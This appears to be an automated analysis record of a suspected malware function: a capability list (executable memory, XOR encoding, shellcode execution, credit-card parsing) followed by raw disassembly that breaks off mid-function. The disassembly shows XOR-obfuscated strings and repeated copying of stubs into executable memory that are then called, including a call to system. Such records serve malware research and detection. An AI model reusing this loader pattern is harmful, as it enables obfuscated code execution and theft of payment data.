Function at 0x1400d8890
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse credit card information

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2ce8]
mov eax, 0x2dc0
call fcn.14014d600
sub rsp, rax
mov rax, qword [0x1401700c0]
xor rax, rsp
mov qword [rbp + 0x2cb0], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c0], xmm0
lea rax, [rbp + 0x2ce8]
movabs r13, 0xff00ff00ff00ff00
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], rax
mov r14, qword [rax]
xor r14, r13
mov qword [rbp + 0x2d8], r14
mov qword [rbp + 0x5c0], r14
mov qword [rax], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400051d4]
xor edx, edx
xor ecx, ecx
call fcn.140004770
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140004ff8]
xor edx, edx
xor ecx, ecx
call fcn.140004770
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdi, [rbp + 0x2ce8]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rdi
mov rbx, qword [rdi]
xor rbx, r13
mov qword [rsp + 0x38], rbx
mov qword [rdi], r12
mov ecx, r12d
lea r15d, [r12 + 3]
lea r8, [0x140001308]
lea rsi, [0x140000000]
mov rax, qword [0x140170ea0]
test rax, rax
je 0x1400d89bf
mov edx, r12d
cmp rax, r8
je 0x1400d89ae
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x170ea0]
test rax, rax
jne 0x1400d8996
jmp 0x1400d89bf
mov rdx, qword [rsi + rdx*8 + 0x1711c0]
test rdx, rdx
jne 0x1400d8aa7
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1400d89e6
mov rdx, r12
jmp 0x1400d8a7f
lea rax, [0x140001308]
mov rcx, rdx
mov r8, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub r8, 1
jne 0x1400d89f9
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140170e90]
lea rcx, [0x140001308]
mov qword [rsi + rax*8 + 0x170ea0], rcx
mov qword [rsi + rax*8 + 0x1711c0], rdx
inc rax
mov qword [0x140170e90], rax
lea rcx, [0x1400d6f10]
call rdx
nop
xor rbx, r13
mov qword [rdi], rbx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdi, [rbp + 0x2ce8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x38], rbx
mov qword [rdi], r12
mov ecx, r12d
mov rax, qword [0x140170ea0]
test rax, rax
je 0x1400d8b33
mov rdx, r12
lea r8, [0x140001308]
cmp rax, r8
je 0x1400d8b22
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x170ea0]
test rax, rax
jne 0x1400d8b0a
jmp 0x1400d8b33
mov rdx, qword [rsi + rdx*8 + 0x1711c0]
test rdx, rdx
jne 0x1400d8c1b
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1400d8b5a
mov rdx, r12
jmp 0x1400d8bf3
lea rax, [0x140001308]
mov rcx, rdx
mov r8, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub r8, 1
jne 0x1400d8b6d
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140170e90]
lea rcx, [0x140001308]
mov qword [rsi + rax*8 + 0x170ea0], rcx
mov qword [rsi + rax*8 + 0x1711c0], rdx
inc rax
mov qword [0x140170e90], rax
lea rcx, [0x140003adc]
call rdx
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
mov qword [rdi], rbx
lea rsi, [0x14000483c]
mov byte [rsp + 0x31], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdi, [rbp + 0x2ce8]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdi
mov rbx, qword [rdi]
xor rbx, rcx
mov qword [rsp + 0x38], rbx
mov qword [rdi], r12
mov ecx, r12d
lea r9, [0x140001330]
mov rax, qword [0x1401714f0]
test rax, rax
je 0x1400d8cb2
mov r8, r12
lea rdx, [0x140000000]
cmp rax, r9
je 0x1400d8ca1
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x1714f0]
test rax, rax
jne 0x1400d8c88
jmp 0x1400d8cb2
mov r8, qword [rdx + r8*8 + 0x171810]
test r8, r8
jne 0x1400d8da1
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400d8cd9
mov r8, r12
jmp 0x1400d8d72
lea rax, [0x140001330]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400d8cec
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401714e0]
lea rcx, [0x140000000]
lea rdx, [0x140001330]
mov qword [rcx + rax*8 + 0x1714f0], rdx
mov qword [rcx + rax*8 + 0x171810], r8
inc rax
mov qword [0x1401714e0], rax
lea rdx, [rsp + 0x31]
mov rcx, rsi
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rdi], rbx
mov eax, dword [0x140152374]
mov dword [rbp + 0x2144], eax
movzx eax, word [0x140152378]
mov word [rbp + 0x2148], ax
mov al, byte [0x14015237a]
mov byte [rbp + 0x214a], al
movsd xmm0, qword [str.rA_bWSqzT_]
movsd qword [rbp + 0x2150], xmm0
movzx eax, word [0x140152388]
mov word [rbp + 0x2158], ax
mov al, byte [0x14015238a]
mov byte [rbp + 0x215a], al
movaps xmm0, xmmword [0x140152390]
movaps xmmword [rbp + 0x2270], xmm0
movaps xmm1, xmmword [str.s____z_aeb7a42::nll_oYWPP]
movaps xmmword [rbp + 0x2280], xmm1
movaps xmm0, xmmword [0x1401523b0]
movaps xmmword [rbp + 0x2290], xmm0
movaps xmm1, xmmword [0x1401523c0]
movaps xmmword [rbp + 0x22a0], xmm1
mov al, byte [0x1401523d0]
mov byte [rbp + 0x22b0], al
mov eax, dword [0x1401523d4]
mov dword [rbp + 0x2140], eax
movups xmm0, xmmword [0x1401523d8]
movups xmmword [rbp + 0x2180], xmm0
movsd xmm0, qword [0x1401523e8]
movsd qword [rbp + 0x2190], xmm0
mov eax, dword [0x1401523f0]
mov dword [rbp + 0x2198], eax
mov al, byte [0x1401523f4]
mov byte [rbp + 0x219c], al
xor edx, edx
mov r8d, 0x278
lea rcx, [rbp + 0x2a30]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0xd20]
mov qword [rbp + 0x1658], rax
mov r8d, r12d
lea r9, [rbp + 0x2180]
mov edi, 0x29e4129f
mov ebx, 1
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x1d
jl 0x1400d8ec9
xorps xmm0, xmm0
movups xmmword [rbp + 0xd20], xmm0
mov qword [rbp + 0xd30], r12
mov qword [rbp + 0xd38], r12
lea rax, [rbp + 0x2180]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400d8f19
lea rdx, [rbp + 0x2180]
lea rcx, [rbp + 0xd20]
call fcn.140001438
nop
lea rax, [rbp + 0xd40]
mov qword [rbp + 0x1660], rax
cmp byte [rbp + 0x2143], r12b
je 0x1400d8f84
mov r8d, r12d
lea r9, [rbp + 0x2140]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 4
jl 0x1400d8f57
xorps xmm0, xmm0
movups xmmword [rbp + 0xd40], xmm0
mov qword [rbp + 0xd50], r12
mov qword [rbp + 0xd58], r12
lea rax, [rbp + 0x2140]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400d8fa7
lea rdx, [rbp + 0x2140]
lea rcx, [rbp + 0xd40]
call fcn.140001438
nop
lea rax, [rbp + 0xd60]
mov qword [rbp + 0x1668], rax
cmp byte [rbp + 0x22b0], r12b
je 0x1400d9012
mov r8d, r12d
lea r9, [rbp + 0x2270]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x41
jl 0x1400d8fe5
xorps xmm0, xmm0
movups xmmword [rbp + 0xd60], xmm0
mov qword [rbp + 0xd70], r12
mov qword [rbp + 0xd78], r12
lea rax, [rbp + 0x2270]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400d9035
lea rdx, [rbp + 0x2270]
lea rcx, [rbp + 0xd60]
call fcn.140001438
nop
lea rax, [rbp + 0xd80]
mov qword [rbp + 0x1670], rax
cmp byte [rbp + 0x215a], r12b
je 0x1400d90a0
mov r8d, r12d
lea r9, [rbp + 0x2150]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0xb
jl 0x1400d9073
xorps xmm0, xmm0
movups xmmword [rbp + 0xd80], xmm0
mov qword [rbp + 0xd90], r12
mov qword [rbp + 0xd98], r12
lea rax, [rbp + 0x2150]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400d90c3
lea rdx, [rbp + 0x2150]
lea rcx, [rbp + 0xd80]
call fcn.140001438
nop
cmp byte [rbp + 0x214a], r12b
je 0x1400d9120
mov r8d, r12d
lea r9, [rbp + 0x2144]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400d90f3
xorps xmm0, xmm0
movups xmmword [rbp + 0xdc0], xmm0
mov qword [rbp + 0xdd0], r12
mov qword [rbp + 0xdd8], r12
lea rax, [rbp + 0x2144]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400d9143
lea rdx, [rbp + 0x2144]
lea rcx, [rbp + 0xdc0]
call fcn.140001438
nop
lea rax, [rbp + 0xd20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xd40]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd60]
lea r8, [rbp + 0xd80]
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x2a30]
call fcn.1400023e8
nop
cmp byte [rbp + 0x214a], r12b
jne 0x1400d91da
mov r8d, r12d
lea r9, [rbp + 0x2144]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400d91ad
cmp byte [rbp + 0x215a], r12b
jne 0x1400d921a
mov r8d, r12d
lea r9, [rbp + 0x2150]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0xb
jl 0x1400d91ed
cmp byte [rbp + 0x22b0], r12b
jne 0x1400d925a
mov r8d, r12d
lea r9, [rbp + 0x2270]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x41
jl 0x1400d922d
cmp byte [rbp + 0x2143], r12b
jne 0x1400d929a
mov r8d, r12d
lea r9, [rbp + 0x2140]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 4
jl 0x1400d926d
cmp byte [rbp + 0x219c], r12b
jne 0x1400d92da
mov r8d, r12d
lea r9, [rbp + 0x2180]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x1d
jl 0x1400d92ad
mov dword [rbp + 0x2144], r12d
mov word [rbp + 0x2148], r12w
mov byte [rbp + 0x214a], r12b
mov qword [rbp + 0x2150], r12
mov word [rbp + 0x2158], r12w
mov byte [rbp + 0x215a], r12b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2270], xmm0
movups xmmword [rbp + 0x2280], xmm0
movups xmmword [rbp + 0x2290], xmm0
movups xmmword [rbp + 0x22a0], xmm0
mov byte [rbp + 0x22b0], al
mov dword [rbp + 0x2140], r12d
movups xmmword [rbp + 0x2180], xmm0
mov qword [rbp + 0x2190], rax
mov dword [rbp + 0x2198], eax
mov byte [rbp + 0x219c], al
movsd xmm0, qword [0x1401523f8]
movsd qword [rbp - 8], xmm0
mov al, byte [0x140152400]
mov byte [rbp], al
mov r8d, r12d
lea r9, [rbp - 8]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 9
jl 0x1400d936b
lea rax, [rbp - 8]
mov qword [rbp + 0x2f0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdi, [rbp + 0x2ce8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x38], rbx
mov qword [rdi], r12
mov ecx, r12d
lea r9, [0x140001250]
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400d941e
mov r8, r12
lea rdx, [0x140000000]
cmp rax, r9
je 0x1400d940d
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400d93f4
jmp 0x1400d941e
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400d950d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400d9445
mov r8, r12
jmp 0x1400d94de
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400d9458
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x2f0]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
movabs r10, 0xff00ff00ff00ff00
xor rbx, r10
mov qword [rdi], rbx
mov rax, qword [0x140152408]
mov qword [rbp + 0x28], rax
cmp byte [0x14015240f], r12b
je 0x1400d957a
mov r8d, r12d
lea r9, [rbp + 0x28]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 8
jl 0x1400d954a
lea rax, [rbp + 0x28]
mov qword [rbp + 0x2f8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdi, [rbp + 0x2ce8]
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rdi
mov rbx, qword [rdi]
xor rbx, r10
mov qword [rsp + 0x38], rbx
mov qword [rdi], r12
mov ecx, r12d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400d95f6
mov r8, r12
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400d95e5
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400d95cc
jmp 0x1400d95f6
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400d96e5
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400d961d
mov r8, r12
jmp 0x1400d96b6
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400d9630
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x2f8]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r10, 0xff00ff00ff00ff00
xor rbx, r10
mov qword [rdi], rbx
lea rdi, [0x1400e64a4]
movups xmm0, xmmword [0x140152410]
movups xmmword [rbp + 0xef0], xmm0
movups xmm1, xmmword [0x140152420]
movups xmmword [rbp + 0xf00], xmm1
movzx eax, word [0x140152430]
mov word [rbp + 0xf10], ax
mov al, byte [0x140152432]
mov byte [rbp + 0xf12], al
mov r8d, r12d
lea r9, [rbp + 0xef0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x23
jl 0x1400d974e
lea rax, [rbp + 0xef0]
mov qword [rbp + 0x300], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rbp + 0x2ce8]
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
mov rbx, qword [rax]
xor rbx, r10
mov qword [rsp + 0x38], rbx
mov qword [rax], r12
mov ecx, r12d
lea r9, [0x140001250]
mov rax, qword [0x140172190]
test rax, rax
je 0x1400d97fd
mov r8, r12
lea rdx, [0x140000000]
cmp rax, r9
je 0x1400d97ec
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400d97d3
jmp 0x1400d97fd
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400d98ec
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400d9824
mov r8, r12
jmp 0x1400d98bd
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400d9837
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x300]
mov rcx, rdi
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x2160], xmm0
mov qword [rbp + 0x2170], r12
mov qword [rbp + 0x2178], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2160], r12b
lea rcx, [rbp + 0x10d8]
call fcn.140004cf8
mov rdx, rax
lea rcx, [rbp + 0x2160]
call fcn.1400033b4
mov rdx, qword [rbp + 0x10f0]
cmp rdx, 0xf
jbe 0x1400d9993
inc rdx
mov rcx, qword [rbp + 0x10d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d998e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d998e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14014d244
movdqa xmm0, xmmword [0x140153550]
movdqu xmmword [rbp + 0x10e8], xmm0
mov byte [rbp + 0x10d8], r12b
lea rcx, [rbp + 0x2a30]
call fcn.1400f6410
xorps xmm0, xmm0
movups xmmword [rbp + 0xde0], xmm0
mov qword [rbp + 0xdf0], r12
mov qword [rbp + 0xdf8], r12
lea rdx, [rbp + 0x2160]
